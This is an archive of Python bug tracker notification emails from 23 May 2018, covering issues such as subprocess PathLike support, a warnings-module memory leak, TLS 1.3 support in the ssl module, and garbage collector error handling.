Subject: [issue33617] subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows In-Reply-To: <1527084844.2.0.682650639539.issue33617@psf.upfronthosting.co.za> Message-ID: <1527084973.28.0.682650639539.issue33617@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- resolution: -> duplicate stage: -> resolved status: open -> closed superseder: -> subprocess._execute_child doesn't accept a single PathLike argument for args _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:16:53 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 14:16:53 +0000 Subject: [issue33617] subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows In-Reply-To: <1527084844.2.0.682650639539.issue33617@psf.upfronthosting.co.za> Message-ID: <1527085013.13.0.682650639539.issue33617@psf.upfronthosting.co.za> STINNER Victor added the comment: That's a feature request for Python 3.8 ;-) > PR to follow soon. Cool! ---------- components: +Library (Lib), Windows nosy: +paul.moore, steve.dower, tim.golden, vstinner, zach.ware resolution: duplicate -> stage: resolved -> status: closed -> open superseder: subprocess._execute_child doesn't accept a single PathLike argument for args -> type: -> enhancement versions: +Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:31:54 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 14:31:54 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527085914.37.0.682650639539.issue33565@psf.upfronthosting.co.za> STINNER Victor added the comment: > Hmm, GH-4587 is merged in 3.6 branch in last November, but 3.6.5 doesn't include it? We decided to not fix the memory leak in Python 3.6: https://github.com/python/cpython/pull/4587#issuecomment-347659163 """ This change makes warning.warn() 1.4x slower on Python 3.6 for the ignore action: https://bugs.python.org/issue27535#msg307165 I don't think that the memory leak issue is important enough to justify such slowdown in a stable branch. So I close my PR. """ So yes, this issue is a bug in Python: it's bpo-27535. It's a bug in the _warnings module. tracemalloc only tells you the truth, it's just that it's hard to understand the output :-) The bug occurs when you get ResourceWarning warnings. Such warning means that the code has a bug: the bug should be fixed. If you fix the ResourceWarning, the bug should disappear. As Naoki INADA wrote: use python3 -Walways (I prefer python3 -Wdefault, but it's almost the same ;-)) to see such warnings. Python 3.7 comes with a new -X dev option which enables these warnings but also other runtime checks to ease development. I suggest to close this issue as a duplicate of bpo-27535. Thanks Alexander Mohr for your bug report, and good luck to fix your warning ;-) If you are motivated, you can propose changes to the tracemalloc documentation! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:32:05 2018 From: report at bugs.python.org (Kyle Altendorf) Date: Wed, 23 May 2018 14:32:05 +0000 Subject: [issue33617] subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows In-Reply-To: <1527084844.2.0.682650639539.issue33617@psf.upfronthosting.co.za> Message-ID: <1527085925.4.0.682650639539.issue33617@psf.upfronthosting.co.za> Change by Kyle Altendorf : ---------- keywords: +patch pull_requests: +6700 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:32:50 2018 From: report at bugs.python.org (Kyle Altendorf) Date: Wed, 23 May 2018 14:32:50 +0000 Subject: [issue33617] subprocess.Popen etc do not accept os.PathLike in passed sequence on Windows In-Reply-To: <1527084844.2.0.682650639539.issue33617@psf.upfronthosting.co.za> Message-ID: <1527085970.89.0.682650639539.issue33617@psf.upfronthosting.co.za> Kyle Altendorf added the comment: I totally failed to fill out the metadata, sorry. I would personally consider this more of a bugfix than a feature enhancement, but I don't know how that's decided exactly. It's also quite small. There are a couple other open issues related to full os.PathLike protocol support. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:34:53 2018 From: report at bugs.python.org (Guido van Rossum) Date: Wed, 23 May 2018 14:34:53 +0000 Subject: [issue27485] urllib.splitport -- is it official or not? In-Reply-To: <1468260123.51.0.000787877209911.issue27485@psf.upfronthosting.co.za> Message-ID: <1527086093.31.0.682650639539.issue27485@psf.upfronthosting.co.za> Change by Guido van Rossum : ---------- nosy: -gvanrossum _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:38:43 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 14:38:43 +0000 Subject: [issue33618] Support TLS 1.3 Message-ID: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> New submission from Christian Heimes : Epic for various TLS 1.3 related tasks and improvements TLS 1.3 requires some changes to the SSL module and tests. The TLS 1.3 handshake behaves slightly differently, which causes some tests to fail. The new handshake and deferred non-application data also affect applications. * TLS 1.3 cipher suites are now set by SSL_CTX_set_ciphersuites(), while SSL to TLS 1.2 cipher suites are still set by SSL_CTX_set_cipher_list(). Therefore SSLContext.set_ciphers() no longer fails with invalid cipher suites, because TLS 1.3 are still available. TLS 1.3 cipher suites also cannot be changed or disabled by SSLContext.set_ciphers(). * TLS client cert authentication occurs after SSL_do_handshake() has finished. SSLSocket.connect() / handshake no longer fail, when the server requests a client cert or the available client cert is invalid. The actual authentication occurs when the client performs the first SSL_read() / SSL_write(). * Session tickets are exchanged after the handshake, too. On the client side, the session ticket is only available after the first SSL_read() or other operations that perform a read(). The session ticket class and code no longer works with TLS 1.3. * TLS 1.3 sends two session tickets instead of one. * Server-side handshake can fail with ConnectionResetError or BrokenPipeError, when the client closes the fd while the server is still send non-application data like new session ticket or client cert request. * Client-side unwrap() / shutdown used to fail when a session ticket was stuck on the wire. This problem will be fixed by OpenSSL 1.1.1-pre7, see https://github.com/openssl/openssl/pull/6340 I'll add a TLS 1.3 section to the ssl module documentation. TLS 1.3 will be a tech-preview and not production-ready until at least OpenSSL 1.1.1-final and Python 3.7.1. Ned, Benjamin, are you OK with that? ---------- assignee: christian.heimes messages: 317413 nosy: alex, benjamin.peterson, christian.heimes, dstufft, janssen, ned.deily priority: high severity: normal stage: needs patch status: open title: Support TLS 1.3 type: enhancement versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 10:44:39 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 14:44:39 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527086679.49.0.682650639539.issue33618@psf.upfronthosting.co.za> Christian Heimes added the comment: More: * We also need a new API to request TLS client cert authentication *after* some application data was requested. The use case is e.g. HTTP web server. A client sends a GET request and then the server gets to decide if the route requires authentication or not. * Renegotiation is no longer available (good). TLS 1.3 has a new re-keying mechanism to establish a new master key. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:08:48 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 23 May 2018 15:08:48 +0000 Subject: [issue33616] typing.NoReturn is undocumented In-Reply-To: <1527078788.95.0.682650639539.issue33616@psf.upfronthosting.co.za> Message-ID: <1527088128.88.0.682650639539.issue33616@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:09:31 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 23 May 2018 15:09:31 +0000 Subject: [issue33569] dataclasses InitVar does not maintain any type info In-Reply-To: <1526647195.4.0.682650639539.issue33569@psf.upfronthosting.co.za> Message-ID: <1527088171.91.0.682650639539.issue33569@psf.upfronthosting.co.za> Change by Ivan Levkivskyi : ---------- nosy: +levkivskyi _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:10:53 2018 From: report at bugs.python.org (Eric Snow) Date: Wed, 23 May 2018 15:10:53 +0000 Subject: [issue33615] test__xxsubinterpreters crashed on x86 Gentoo Refleaks 3.x In-Reply-To: <1527078316.31.0.682650639539.issue33615@psf.upfronthosting.co.za> Message-ID: <1527088253.2.0.682650639539.issue33615@psf.upfronthosting.co.za> Eric Snow added the comment: I'll take a look. Thanks! ---------- assignee: -> eric.snow _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:15:27 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Wed, 23 May 2018 15:15:27 +0000 Subject: [issue33421] Missing documentation for typing.AsyncContextManager In-Reply-To: <1525390394.87.0.682650639539.issue33421@psf.upfronthosting.co.za> Message-ID: <1527088527.73.0.682650639539.issue33421@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: This is now fixed. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:41:47 2018 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Wed, 23 May 2018 15:41:47 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527090107.84.0.682650639539.issue33618@psf.upfronthosting.co.za> Change by Chih-Hsuan Yen : ---------- nosy: +yan12125 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 11:43:25 2018 From: report at bugs.python.org (Guillaume) Date: Wed, 23 May 2018 15:43:25 +0000 Subject: [issue29427] Option to skip padding for base64 urlsafe encoding/decoding In-Reply-To: <1486085117.43.0.563120448637.issue29427@psf.upfronthosting.co.za> Message-ID: <1527090205.63.0.682650639539.issue29427@psf.upfronthosting.co.za> Change by Guillaume : ---------- keywords: +patch pull_requests: +6702 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:00:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 16:00:58 +0000 Subject: [issue25612] nested try..excepts don't work correctly for generators In-Reply-To: <1447361959.0.0.839122121456.issue25612@psf.upfronthosting.co.za> Message-ID: <1527091258.67.0.682650639539.issue25612@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset b6dccf54fd3bac9c87348d96f9d6b571608c15bc by Victor Stinner in branch 'master': bpo-33612: Remove PyThreadState_Clear() assertion (#7069) https://github.com/python/cpython/commit/b6dccf54fd3bac9c87348d96f9d6b571608c15bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:00:58 2018 From: report at bugs.python.org (STINNER Victor) Date: Wed, 23 May 2018 16:00:58 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527091258.98.0.262363346258.issue33612@psf.upfronthosting.co.za> STINNER Victor added the comment: New changeset b6dccf54fd3bac9c87348d96f9d6b571608c15bc by Victor Stinner in branch 'master': bpo-33612: Remove PyThreadState_Clear() assertion (#7069) https://github.com/python/cpython/commit/b6dccf54fd3bac9c87348d96f9d6b571608c15bc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:01:18 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 16:01:18 +0000 Subject: [issue32436] Implement PEP 567 In-Reply-To: <1516666281.22.0.467229070634.issue32436@psf.upfronthosting.co.za> Message-ID: <1527091278.86.0.682650639539.issue32436@psf.upfronthosting.co.za> Change by Yury Selivanov : ---------- pull_requests: +6703 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:01:31 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 16:01:31 +0000 Subject: [issue33612] Assertion failure in PyThreadState_Clear In-Reply-To: <1527059860.79.0.682650639539.issue33612@psf.upfronthosting.co.za> Message-ID: <1527091291.25.0.682650639539.issue33612@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6704 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:01:31 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 16:01:31 +0000 Subject: [issue25612] nested try..excepts don't work correctly for generators In-Reply-To: <1447361959.0.0.839122121456.issue25612@psf.upfronthosting.co.za> Message-ID: <1527091291.4.0.0935424498089.issue25612@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6705 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:07:29 2018 From: report at bugs.python.org (Alexander Mohr) Date: Wed, 23 May 2018 16:07:29 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527091649.03.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: I'll try with that fix and see if the leak is fixed, is the reasoning that if the warning happens after the try/except scope and that's why the callstack has it? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:13:26 2018 From: report at bugs.python.org (Steve Dower) Date: Wed, 23 May 2018 16:13:26 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527092006.63.0.682650639539.issue33614@psf.upfronthosting.co.za> Steve Dower added the comment: I guess that means there is an invalid date comparison going on to detect when the file has changed. This file doesn't change often, so it's easy to miss :) All the critical builds should forcibly rebuild it, so this isn't urgent, but I'll take a look next time I get a chance to work on the build files. ---------- assignee: -> steve.dower _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:16:29 2018 From: report at bugs.python.org (Alexander Mohr) Date: Wed, 23 May 2018 16:16:29 +0000 Subject: [issue27535] Ignored ResourceWarning warnings leak memory in warnings registries In-Reply-To: <1468720423.06.0.361257976034.issue27535@psf.upfronthosting.co.za> Message-ID: <1527092189.9.0.682650639539.issue27535@psf.upfronthosting.co.za> Alexander Mohr added the comment: not fixing this means that 3.6 slowly leaks for many people in prod. It's not often possible to fix all the warnings on large dynamic applications, I highly suggest finding a way to get this into 3.6. I bet there are a lot of frustrated people out there who don't know why their applications slowly leak. ---------- nosy: +thehesiod _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:18:18 2018 From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=) Date: Wed, 23 May 2018 16:18:18 +0000 Subject: [issue33462] reversible dict In-Reply-To: <1526009418.33.0.682650639539.issue33462@psf.upfronthosting.co.za> Message-ID: <1527092298.03.0.682650639539.issue33462@psf.upfronthosting.co.za> R?mi Lapeyre added the comment: I updated the pull request, now reversed work on the dict and dict views: ? cpython git:(master) ./python.exe Python 3.8.0a0 (heads/master-dirty:128576b88c, May 23 2018, 16:33:46) [Clang 9.0.0 (clang-900.0.39.2)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> d = dict(a=1, b=2) >>> list(reversed(d)) ['b', 'a'] >>> list(reversed(d.keys())) ['b', 'a'] >>> list(reversed(d.values())) [2, 1] >>> list(reversed(d.items())) [('b', 2), ('a', 1)] reversed on dict and dict views is not symmetric and applying twice will raise TypeError which is also the behavior on list. I'm not sure why this behavior has been chosen but it's coherent. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:23:06 2018 From: report at bugs.python.org (Cheryl Sabella) Date: Wed, 23 May 2018 16:23:06 +0000 Subject: [issue33609] Document that dicts preserve insertion order In-Reply-To: <1527023250.35.0.682650639539.issue33609@psf.upfronthosting.co.za> Message-ID: <1527092586.52.0.682650639539.issue33609@psf.upfronthosting.co.za> Cheryl Sabella added the comment: As reference, issue32337 made some changes documenting that the dicts preserve insertion order. Also, issue33218 was marked as being superseded by #32337. ---------- nosy: +cheryl.sabella _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:34:24 2018 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Wed, 23 May 2018 16:34:24 +0000 Subject: [issue33619] libffi detection via pkg-config is broken Message-ID: <1527093264.92.0.682650639539.issue33619@psf.upfronthosting.co.za> New submission from Chih-Hsuan Yen : The cause is that ./configure contains unexpanded m4 macro PKG_PROG_PKG_CONFIG: https://github.com/python/cpython/blob/3055c94/configure#L9909 For unknown reasons, after GH-6850 the PKG_PROG_PKG_CONFIG macro is removed from aclocal.m4, and thus the macro is kept unexpanded in ./configure. As a result, $PKG_CONFIG is not correctly set, libffi can't be detected and thus _ctypes fails to build. Run autoreconf again fixes the issue on my machine. I have pkg-config 0.29.2-1, autoconf 2.69-4 and automake 1.15.1-1 on Arch Linux. cc the author of GH-6850 ---------- components: Build messages: 317424 nosy: benjamin.peterson, yan12125 priority: normal severity: normal status: open title: libffi detection via pkg-config is broken type: compile error versions: Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:46:21 2018 From: report at bugs.python.org (Jonathan Lynch) Date: Wed, 23 May 2018 16:46:21 +0000 Subject: [issue33620] requests.Session doesn't properly handle closed keep-alive sessions Message-ID: <1527093981.46.0.682650639539.issue33620@psf.upfronthosting.co.za> New submission from Jonathan Lynch : When a server reaps a keep-alive session it sends a FIN packet to the client. Normally, requests handles this fine and rebuilds the session on the next request. However, there is an edge case involving network latency that is not properly handled: If python sends a request at roughly the same time as the server closes the session, then the server will send a RST (as the session is closed). Python receives this RST on what it thought was a valid session and throws an error: requests.exceptions.ConnectionError: ('Connection aborted.', RemoteDisconnected('Remote end closed connection without response',)) The reason I consider this a bug is because python received the FIN packet before it received the RST. As a result, it shouldn't be surprised when the connection is subsequently aborted. It is an edge case, but the client has enough information available to it that it could have handled it correctly. The workaround is to set max_retries on the Session via an HTTPAdaptor, but I believe the correct behavior when the FIN is received is to rebuild the session and re-send any requests that were in-flight (rather than throwing an error). Requests correctly handles the FIN packet if there are no in-flight requests, but if there are in-flight requests it ignores it and instead throws an error. ---------- components: Library (Lib) messages: 317425 nosy: Jonathan Lynch priority: normal severity: normal status: open title: requests.Session doesn't properly handle closed keep-alive sessions type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:49:02 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 16:49:02 +0000 Subject: [issue33614] Compilation of Python fails on AMD64 Windows8.1 Refleaks 3.x In-Reply-To: <1527078055.25.0.682650639539.issue33614@psf.upfronthosting.co.za> Message-ID: <1527094142.42.0.682650639539.issue33614@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: If "PCbuild\build.bat -p x64" builds Python, "PCbuild\clean.bat -p x64" removes all files in PCbuild\amd64 but python3stub.exp and python3stub.lib. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:54:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 16:54:20 +0000 Subject: [issue33620] requests.Session doesn't properly handle closed keep-alive sessions In-Reply-To: <1527093981.46.0.682650639539.issue33620@psf.upfronthosting.co.za> Message-ID: <1527094460.3.0.682650639539.issue33620@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: requests is a third-party package. Can you reproduce your issue with the standard Python library? ---------- nosy: +serhiy.storchaka _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 12:57:04 2018 From: report at bugs.python.org (Alexander Mohr) Date: Wed, 23 May 2018 16:57:04 +0000 Subject: [issue33565] strange tracemalloc results In-Reply-To: <1526611246.92.0.682650639539.issue33565@psf.upfronthosting.co.za> Message-ID: <1527094624.17.0.682650639539.issue33565@psf.upfronthosting.co.za> Alexander Mohr added the comment: Ok I've verified that the patch does indeed fix the leak detected. Thank you very much INADA for knowing that there was a leak in the warnings module, I would have never guessed, especially given the tracemalloc stack given. Had it showed a callstack where the warning was created it would have made a lot more sense. I agree this can be closed, however can the leak fix PLEASE be put into 3.6 (any any other version that needs it)? Who cares if warnings are 1.4x slower with the fix? Are you going to rationally tell me that keeping warnings fast is more important than fixing leaks? In most applications there should be no warnings so it doesn't really matter. This particular leak was causing our application to fail after running for a few days which makes it unusable in production. It's caused me a lot of days wasted in investigation. If speed was really a problem that would have been a much worthier thing to spend time on than finding leaks. leaks should be highest priority, then speed. No rational developer would have complained that warnings got slower, that's when you fix warnings, not because of leaks! :) ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:04:34 2018 From: report at bugs.python.org (Chih-Hsuan Yen) Date: Wed, 23 May 2018 17:04:34 +0000 Subject: [issue33619] libffi detection via pkg-config is broken In-Reply-To: <1527093264.92.0.682650639539.issue33619@psf.upfronthosting.co.za> Message-ID: <1527095074.82.0.682650639539.issue33619@psf.upfronthosting.co.za> Change by Chih-Hsuan Yen : ---------- keywords: +patch pull_requests: +6706 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:35:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 17:35:06 +0000 Subject: [issue32436] Implement PEP 567 In-Reply-To: <1516666281.22.0.467229070634.issue32436@psf.upfronthosting.co.za> Message-ID: <1527096906.96.0.682650639539.issue32436@psf.upfronthosting.co.za> Yury Selivanov added the comment: New changeset 28b9178023a445b1da2694774c265cd4b7a244ec by Yury Selivanov in branch 'master': bpo-32436: Document PEP 567 changes to asyncio. (GH-7073) https://github.com/python/cpython/commit/28b9178023a445b1da2694774c265cd4b7a244ec ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:35:16 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 17:35:16 +0000 Subject: [issue32436] Implement PEP 567 In-Reply-To: <1516666281.22.0.467229070634.issue32436@psf.upfronthosting.co.za> Message-ID: <1527096916.41.0.682650639539.issue32436@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6707 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:39:42 2018 From: report at bugs.python.org (Fabio Zadrozny) Date: Wed, 23 May 2018 17:39:42 +0000 Subject: [issue33621] repr(threading._DummyThread) always fails. Message-ID: <1527097182.41.0.682650639539.issue33621@psf.upfronthosting.co.za> New submission from Fabio Zadrozny : Doing the following throws an exception: import threading repr(threading._DummyThread()) Or, in a more contrived example (I actually had this in a QThread, so, reproducing using getting the current_thread using a thread created with the _thread module): import threading import traceback finished = threading.Event() worked = [] def method(): try: repr(threading.current_thread()) worked.append(True) except: traceback.print_exc() worked.append(False) finally: finished.set() import _thread _thread.start_new_thread(method, ()) finished.wait() assert worked[0] ---------- components: Library (Lib) messages: 317430 nosy: fabioz priority: normal severity: normal status: open title: repr(threading._DummyThread) always fails. type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:41:20 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 17:41:20 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector Message-ID: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> New submission from Serhiy Storchaka : There are following bugs in the garbage collector. * If the garbage collector fails to add an object with __del__ or referenced by an object with __del__ to gc.garbage (in handle_legacy_finalizers()), it leaks it and other not added objects with __del__ and referenced by them. They become no longer accessible by the garbage collector. * PyGC_Collect() is not documented, but it is a public C API. And it can be called by user with an exception set. PyGC_Collect() then can either crash or just silent the exception. It is safer to safe possible exception and restore it after collecting. * A pointer to released member can be used (compared with NULL) in invoke_gc_callback(). This is an undefined behavior. ---------- components: Interpreter Core messages: 317431 nosy: pitrou, serhiy.storchaka, vstinner priority: normal severity: normal status: open title: Fix and improve errors handling in the garbage collector type: behavior versions: Python 2.7, Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:41:25 2018 From: report at bugs.python.org (Jonathan Lynch) Date: Wed, 23 May 2018 17:41:25 +0000 Subject: [issue33620] requests.Session doesn't properly handle closed keep-alive sessions In-Reply-To: <1527093981.46.0.682650639539.issue33620@psf.upfronthosting.co.za> Message-ID: <1527097285.92.0.682650639539.issue33620@psf.upfronthosting.co.za> Jonathan Lynch added the comment: Ah, I'm sorry! I'll open the report over there, closing this. ---------- resolution: -> third party stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:50:39 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 17:50:39 +0000 Subject: [issue33622] Fix and improve errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527097839.33.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- keywords: +patch pull_requests: +6708 stage: -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 13:59:21 2018 From: report at bugs.python.org (miss-islington) Date: Wed, 23 May 2018 17:59:21 +0000 Subject: [issue32436] Implement PEP 567 In-Reply-To: <1516666281.22.0.467229070634.issue32436@psf.upfronthosting.co.za> Message-ID: <1527098361.18.0.682650639539.issue32436@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 2fc443c469fb15033b6b96acd727e2e7cc147adc by Miss Islington (bot) in branch '3.7': bpo-32436: Document PEP 567 changes to asyncio. (GH-7073) https://github.com/python/cpython/commit/2fc443c469fb15033b6b96acd727e2e7cc147adc ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:04:41 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Wed, 23 May 2018 18:04:41 +0000 Subject: [issue33622] Fix errors handling in the garbage collector In-Reply-To: <1527097280.42.0.682650639539.issue33622@psf.upfronthosting.co.za> Message-ID: <1527098681.83.0.682650639539.issue33622@psf.upfronthosting.co.za> Change by Serhiy Storchaka : ---------- title: Fix and improve errors handling in the garbage collector -> Fix errors handling in the garbage collector _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:13:24 2018 From: report at bugs.python.org (Barry A. Warsaw) Date: Wed, 23 May 2018 18:13:24 +0000 Subject: [issue33619] libffi detection via pkg-config is broken In-Reply-To: <1527093264.92.0.682650639539.issue33619@psf.upfronthosting.co.za> Message-ID: <1527099204.73.0.682650639539.issue33619@psf.upfronthosting.co.za> Change by Barry A. Warsaw : ---------- nosy: +barry _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:13:43 2018 From: report at bugs.python.org (Christian Heimes) Date: Wed, 23 May 2018 18:13:43 +0000 Subject: [issue33618] Support TLS 1.3 In-Reply-To: <1527086323.78.0.682650639539.issue33618@psf.upfronthosting.co.za> Message-ID: <1527099223.98.0.682650639539.issue33618@psf.upfronthosting.co.za> Change by Christian Heimes : ---------- keywords: +patch pull_requests: +6709 stage: needs patch -> patch review _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:32:12 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Wed, 23 May 2018 18:32:12 +0000 Subject: [issue33546] asyncio.Condition should become awaitable in 3.9 In-Reply-To: <1526495147.79.0.682650639539.issue33546@psf.upfronthosting.co.za> Message-ID: <1527100332.08.0.682650639539.issue33546@psf.upfronthosting.co.za> ?ukasz Langa added the comment: Andrew is right because a Condition *is* a lock. The confusing thing about this construct is that the actual logic "condition" that we're waiting for is external. It can be controlled by another coroutine that will just let us know by calling `cond.notify()` when the condition is met. On the receiver side it looks like this: async with cond: # in this block you hold the lock await cond.wait() # (this temporarily releases the lock as long as it waits) print("Another coroutine called .notify(). I hold the lock now!") It can also be used like Andrew demonstrated above, where *we* run the logic "condition" check ourselves and that check *also* requires a lock to be correct: async with cond: # in this block you hold the lock while not condition_check_with_lock(): # <- this is the actual "condition" check await cond.wait() # (temporarily releases the lock while it waits) print("Check passed and I'm holding the lock now!") Personally I find the latter example confusing because it doesn't require another coroutine to ever `.notify()` us if the initial `condition_check_with_lock()` returned True, but it *does* require another coroutine to `.notify()` us if that initial check returned False. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:39:13 2018 From: report at bugs.python.org (=?utf-8?b?SHJ2b2plIE5pa8WhacSH?=) Date: Wed, 23 May 2018 18:39:13 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug In-Reply-To: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> Message-ID: <1527100753.23.0.682650639539.issue33605@psf.upfronthosting.co.za> Hrvoje Nik?i? added the comment: > I'd be OK with this if the performance penalty is within 0.5% in microbenchmarks for asyncio & uvloop. @yselivanov Are you referring to specific microbenchmarks published somewhere, or the general "echo server" style microbenchmarks? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:41:48 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 18:41:48 +0000 Subject: [issue33605] Detect accessing event loop from a different thread outside of _debug In-Reply-To: <1527015604.6.0.682650639539.issue33605@psf.upfronthosting.co.za> Message-ID: <1527100908.26.0.682650639539.issue33605@psf.upfronthosting.co.za> Yury Selivanov added the comment: Echo server is usually a good enough microbenchmark (you can use benchmarks from uvloop/examples). Repeatedly calling call_soon would also be an interesting micro-benchmark but less important (unless it shows that call_soon is 2x slower or something). ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 23 14:55:46 2018 From: report at bugs.python.org (Yury Selivanov) Date: Wed, 23 May 2018 18:55:46 +0000 Subject: [issue33623] Fix possible SIGSGV when asyncio.Future is created in __del__ Message-ID: <1527101746.49.0.682650639539.issue33623@psf.upfronthosting.co.za> New submission from Yury Selivanov : Originally reported in https://github.com/MagicStack/uvloop/issues/143 Future.__init__ shouldn't try to capture the current traceback if the interpreter is being finalized. ---------- messages: 317437 nosy: yselivanov priority: normal severity: normal status: open title: Fix possible SIGSGV when asyncio.Future is created in __del__ versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Wed May 